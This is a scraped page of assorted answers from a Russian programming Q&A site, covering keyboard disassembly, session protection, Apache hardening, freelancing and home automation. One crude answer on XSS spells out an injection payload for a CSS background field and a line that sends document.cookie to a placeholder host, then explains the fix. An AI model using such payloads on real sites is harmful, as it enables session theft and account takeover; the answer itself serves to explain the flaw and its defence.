• Как разобрать клавиатуру Logitech k280e?

    @vis_inet Автор вопроса
    Дошли, наконец, руки и я её разобрал!
    В итоге оказалось 14 винтов.
    Кроме видимых сразу ещё винты были под каждой из пяти резиновых ножек и два под наклейкой.5a64c39f20489841159360.jpeg
    Ответ написан
    1 комментарий
  • Законно ли использование сканера уязвимостей на чужом сайте?

    DevMan
    @DevMan
    вполне законно.
    не законно – использовать найденные уязвимости.

    хотя, в этой стране, термин "законность" весьма юмористичен.
    Ответ написан
    2 комментария
  • Как закрыть XMLHttpRequest от общего доступа?

    IDONTSUDO
    @IDONTSUDO
    ЧСВ программистов идет в комплекте с первой IDE.
    Можно ли как-то сделать так, чтобы никто другой не мог повторить эти запросы и получить мои данные в json-формате?
    Используй механизмы ссесий. По типу Cookies/JWT.
    P.S. советовал бы JWT отличная лекция Ильи Климова на эту тему.

    Может настройками nginx сделать так, чтобы эти XMLHttpRequest запросы нельзя было выполнить напрямую? Чтобы нельзя было адресу XMLHttpRequest получить данные.
    nginx это сервер который просто проксирует контент
    Ответ написан
    1 комментарий
  • Как закрыть XMLHttpRequest от общего доступа?

    dollar
    @dollar
    Делай добро и бросай его в воду.
    В дополнение к Сергей Соколов могу подсказать следующий этап: защита от кражи сессии. Это делается путем нумерации запросов. То есть каждый запрос передается число, которое на 1 больше предыдущего. Так что даже если кто-то украдет сессию и сможет ее использовать, у пользователя она протухнет и вы сможете показать ему ошибки рассинхронизации. И уже сам пользователь начнет искать злоумышленника.

    Хотя если сам пользователь является злоумышленником, причем умным и упёртым, то понадобится дальше наращивать защиту. Но это уже война снаряда и брони, а она, как известно, вечная, и выигрывает тот, у кого больше ресурсов и терпения.
    Ответ написан
    Комментировать
  • Как закрыть XMLHttpRequest от общего доступа?

    sergiks
    @sergiks Куратор тега JavaScript
    ♬♬
    Использовать одноразовый сессионный ключ, чтобы форсить сценарий:
    «сначала запроси страницу, и только потом — json-данные».
    При генерации страницы, на сервере создаётся ключ, который записывается в сессию (на сервере) и в код страницы.
    При запросе данных из страницы, с запросом отправляется и этот ключ, где сравнивается с записанным в сессию. Только при совпадении отдаются данные, а ключ удаляется из сессии.

    Чтобы не передавать данные в открытом виде, можно их дополнительно упаковать-зашифровать. См. JSON Web Tokens. Но это чисто декоративно, т.к. всё, что оказывается в итоге в открытом виде в браузере клиента – считай, утекло.
    Ответ написан
    Комментировать
  • Как защитить сайты от взлома?

    Почитайте CIS Apache HTTP Server Benchmark (качать отсюда, нужно только анкету заполнить). Там есть основные рекомендации по настройке прав доступа, минимизации функционала, настройке tls, логирования и тд. Есть две версии документа для apache 2.4 и 2.2.
    Для защиты от части атак - modsecurity + core rule set. Он не так суров, как naxsi, работает по принципу черного списка, а не белого. После допиливания правил для исключения false positives можно жить.
    Ответ написан
    1 комментарий
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Как установить KindOfMagic для использования INotifyPropertyChanged?

    @sled Автор вопроса
    Нашелся еще более крутой пакет - PropertyChanged.Fody (доступен в NuGet).
    Примерчик:
    [ImplementPropertyChanging]
    public class Person
    {
        public string GivenNames { get; set; }
        public string FamilyName { get; set; }
    
        public string FullName
        {
            get
            {
                return string.Format("{0} {1}", GivenNames, FamilyName);
            }
        }
    }
    Ответ написан
    Комментировать
  • Взял первый заказ на UpWORK от индуса. Как разрулить проблемы?

    kumaxim
    @kumaxim
    Web-программист
    Поздравляю Вас с первым полученным опытом! У меня когда-то нечто похожее было.

    В твоем случае я бы написал индусу, либо увеличивай бюджет либо присылай запрос на возврат. После чего прекращаю любую работу. Поскольку заказ у тебя первый, а JSS рассчитывается только после 5-6 заказов, бояться что упадет то чего еще нет явно не стоит.

    Конечно, это плохо, конечно, если ты взялся за работу ее надо довести до конца во что бы то ни стало, конечно, нужно удовлетворить клиента, однако, нужно понимать когда клиент тебе садится на шею и не позволять это.
    В целом ситуация такая, что ребята из Индии в качестве заказчиков хотят слишком много. Плюс таких заказов - из довольно легко взять, на них можно набить себе первый рейтинг, набрать историю работ. Я когда только начинал работал именно с такими заказами. Из 13 первых 4 я отменил из-за неадекватности. JSS колыхался от 97% до 69%. Потом, набрав историю работ, нашел нормальных ребят из западной европы, выровнял JSS до 94%, получил Top Rated.

    Отмечу, что Upwork подсвечивает любые емайлы вообще. Просто ставь галочку "игнорировать следующие 30 дней" и не парься об этом. Кстати, с номерами телефонов, помоему, тоже самое.

    Верификация или подтвержение профиля процедура стандартная. Когда я ее проходил, мне оператор кинул ссылку на видео-чат, я открыл ее. Я смотрел на какого-то Ахмена прямиком из Индии, а он смотрел на меня. Это продолжалось секунд 30. Потом, поняв что у кого-то из нас проблемы со звуком, он мне в чате задал пару вопросов, после чего мой профиль был разблокирован.
    Ответ написан
    Комментировать
  • Как лучше: разбивать рабочий день на две части или работать залпом, а потом отдыхать?

    @abcd0x00
    3) Может кто свой вариант посоветует?


    Я понял, что нужно работать по часу-полтора, а отдыхать не более десяти минут.
    Как в вузах сделано: четыре пары с короткими переменами.
    Это же тоже не с потолка взято, а оптимально подобрано педагогами для работы мозга.
    Ответ написан
    2 комментария
  • Как лучше: разбивать рабочий день на две части или работать залпом, а потом отдыхать?

    donkaban
    @donkaban
    Умею рисовать тени
    Нет такой почасовки, которую нельзя заработать в офисе фуллтайм

    Теперь про сам вопрос. Я считаю, что больше 4 часов подряд работать нельзя, точнее невозможно. Режим 3 + 2 + 3 + 2 + 2 - три работаешь, два гуляешь, ешь и все такое. Итого, если дома - 10-13, прогулка-бассейн-обед, 15-18, велик, кинцо под ужин, 20-22 вечерние допилы, вершки за день.
    Ответ написан
    Комментировать
  • Как вы решаете вопрос с постоянными правками после сдачи проекта?

    @ColdSpirit
    Анекдот может не жизненный, но в тему =)

    Программист сдает работу. Заказчик удовлетворенно кивает, со всем соглашается. Ну, вроде бы, все принято.
    Программист:
    - Отлично, с Вас 1700.
    Заказчик (отдавая деньги):
    - Ну, я надеюсь, если потом нужно будет что-нибудь переправить, можно будет к Вам обратиться? Это ведь не так, что один раз сделали и забыли?
    Программист:
    - В зависимости от того, что и как переправить.
    Заказчик:
    - Ну, конечно, я не скажу: "Давайте все заново переделаем!"
    Программист:
    - Хорошо, не вопрос. Кстати, еще одно. Можно будет потом, если у меня кончатся вдруг деньги или будут финансовые проблемы, я подойду к Вам насчет немного доплатить? Это мелочь, мне требуется очень редко, Вас это совсем не затруднит.
    Заказчик (удивленно открыв рот):
    - Как это?..
    Программист:
    - Да Вы не переживайте, я же не подойду к Вам, мол, заплатите мне целиком еще раз!
    Ответ написан
    Комментировать
  • Как сделать XMLHttpRequest на другой домен?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Ответ написан
    Комментировать
  • «Хитрый дом» — выбор оборудования

    @switlle
    > у atmega328 не хватает выходов
    это можно легко увеличить. По i2c протоколу подключаете микрухи которые дают еще до 16 выходов, а подключить можно их несколько.

    >RS485
    это однозначно неподходящий вариант. в вашем случае все как и у меня упрется на регулярный опрос клиентов. и чем больше клиентов тем больше задержка при опросе.

    i2c предназначен для внутрисхемного соединения

    Я думаю лучший вариант для вас это Ethernet. Это уже готовый и отлаженный протокол сверху которого вам проще будет реализовать свой протокол.
    Плюс еще за него — то что если вы выбирите его то вам проще будет добраться до вашей мечты, потому что пока вы будете курить разные маны и набивать себе лоб, вы поймете что Ваша идея жрет ваше время или станет вам неинтересна по другой причине.

    В общем я считаю для домашних дел Вам лучше подойдет именно Ethernet

    Что касается клиентов я бы реализовал сборщики данных на Arduino платформе или stm, а логику вынес на RPi, которая опрашивает сборщики через Ethernet.

    Звук: однозначно на отдельный контроллер.

    Резюмирую: делайте как можно больше независимых модулей. Хотя система будет выглядеть более громоздкой в плане архитектуры, она будет более удобна в отладке. Для своих проектов я думаю стоит начинать именно с простоты.
    Ответ написан
    Комментировать